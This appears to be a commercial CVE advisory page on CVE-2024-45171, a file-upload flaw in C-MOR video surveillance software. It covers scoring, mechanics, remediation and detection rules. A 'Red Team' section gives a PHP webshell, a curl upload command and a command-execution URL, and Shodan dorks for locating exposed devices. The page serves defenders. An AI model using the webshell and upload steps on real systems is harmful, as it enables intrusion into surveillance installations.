☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-45171

CVE-2024-45171 Arbitrary File Upload in Za-internet
📅 PUBLISHED: 2024-09-05 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.46%
👁️
0.46% probability
11.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 5.2401
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-45171 is a critical vulnerability in za-internet C-MOR Video Surveillance version 5.2401. The flaw resides in the backup file upload functionality, which fails to properly validate user-supplied filenames. An authenticated attacker can upload arbitrary files, including PHP webshells, by ensuring the filename contains the string .cbkf. The uploaded file is stored in /srv/www/backups and is accessible via the web server, leading to remote code execution. The vulnerability is compounded by broken access controls, allowing low-privileged users to exploit it. No patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.9 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High
  • Threat Level: Critical – Exploitation is straightforward and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) combined with broken access control. The C-MOR web application includes a backup upload feature intended for .cbkf files. However, the validation only checks if the filename contains the substring .cbkf, not that the file extension is exactly .cbkf. This allows an attacker to upload a file named webshell.cbkf.php. The PHP interpreter processes the .php extension, executing the malicious code.

The upload endpoint stores files in /srv/www/backups with a prefix upload_. The resulting URL is https://<HOST>/backup/upload_<FILENAME>. Since the web server serves this directory, the attacker can directly access the uploaded PHP file and execute arbitrary commands.

The broken access control means that even low-privileged authenticated users (e.g., operators) can access this upload functionality, which should be restricted to administrators.

Vulnerable vs. Patched Code

Vulnerable Code (C-MOR 5.2401): The upload handler likely checks for .cbkf in the filename using a simple string containment check:

if (strpos($_FILES['file']['name'], '.cbkf') !== false) {
    // Accept file
    move_uploaded_file($_FILES['file']['tmp_name'], '/srv/www/backups/upload_' . $_FILES['file']['name']);
}

Patched Code (Hypothetical): A secure implementation would validate the file extension exactly and restrict uploads to administrators:

$allowed_ext = '.cbkf';
$file_ext = strrchr($_FILES['file']['name'], '.');
if ($file_ext === $allowed_ext && user_is_admin()) {
    move_uploaded_file($_FILES['file']['tmp_name'], '/srv/www/backups/upload_' . basename($_FILES['file']['name']));
} else {
    die('Invalid file or insufficient privileges.');
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Authenticated session cookie for a low-privileged user on C-MOR 5.2401.
  • Network access to the C-MOR web interface.

Exploit Steps:

  1. Create a PHP webshell with a .cbkf.php extension:

    <?php system($_GET['cmd']); ?>
    

    Save as shell.cbkf.php.

  2. Upload the file via the backup upload functionality (e.g., using curl):

    curl -X POST -F "file=@shell.cbkf.php" -b "session=YOUR_SESSION_COOKIE" http://target/backup/upload
    
  3. Access the uploaded webshell:

    http://target/backup/upload_shell.cbkf.php?cmd=id
    

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

  • Monitor for file uploads with filenames containing .cbkf but ending in .php, .asp, .jsp, etc.
  • Alert on access to /backup/upload_*.php URLs.
  • Review access logs for unusual POST requests to the backup upload endpoint from low-privileged users.

Hunting Queries:

  • Search for files in /srv/www/backups with extensions other than .cbkf.
  • Check for processes spawned by the web server user (www-data) that are not typical.

Indicators of Compromise (IOCs)

  • File Artifacts:
    • /srv/www/backups/upload_*.php (any PHP file in this directory)
    • /srv/www/backups/upload_*.cbkf.php (specifically)
  • Network IOCs:
    • HTTP POST requests to /backup/upload with multipart form data containing .cbkf.php filenames.
    • HTTP GET requests to /backup/upload_*.php?cmd= or similar query strings.
  • Log Entries:
    • Web server access logs showing POST /backup/upload followed by GET /backup/upload_*.php.
    • System logs showing execution of commands like id, whoami, uname -a from the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_45171_Webshell_Upload {
    meta:
        description = "Detects PHP webshells uploaded via C-MOR backup upload vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-45171"
    strings:
        $php_tag = "<?php"
        $system_call = /system\(|exec\(|shell_exec\(|passthru\(/
        $cbkf_indicator = ".cbkf"
    condition:
        $php_tag and $system_call and $cbkf_indicator
}

Sigma Rule

title: C-MOR Backup Upload Webshell Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to C-MOR backup upload endpoint with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/backup/upload'
        cs-uri-query|contains: '.cbkf.php'
    condition: selection
falsepositives:
    - Legitimate backup files with .cbkf extension (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-45171 C-MOR Backup Upload Webshell"; flow:to_server,established; content:"POST"; http_method; content:"/backup/upload"; http_uri; content:".cbkf.php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Restrict access to the backup upload functionality to only administrative users via web server configuration or application-level access controls.
  2. Disable PHP execution in the /srv/www/backups directory by adding the following to the Apache configuration:
    <Directory /srv/www/backups>
        php_admin_flag engine off
    </Directory>
    
  3. Implement strict file extension validation on the server side (e.g., only allow .cbkf exactly).

Long-Term Fix:

  • Apply an official patch from za-internet when available.
  • Conduct a security audit of all file upload functionalities.
  • Implement a Web Application Firewall (WAF) rule to block uploads with mixed extensions.

Workaround:

  • Remove write permissions for the web server user on /srv/www/backups if backup functionality is not critical.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"C-MOR"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-45171/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.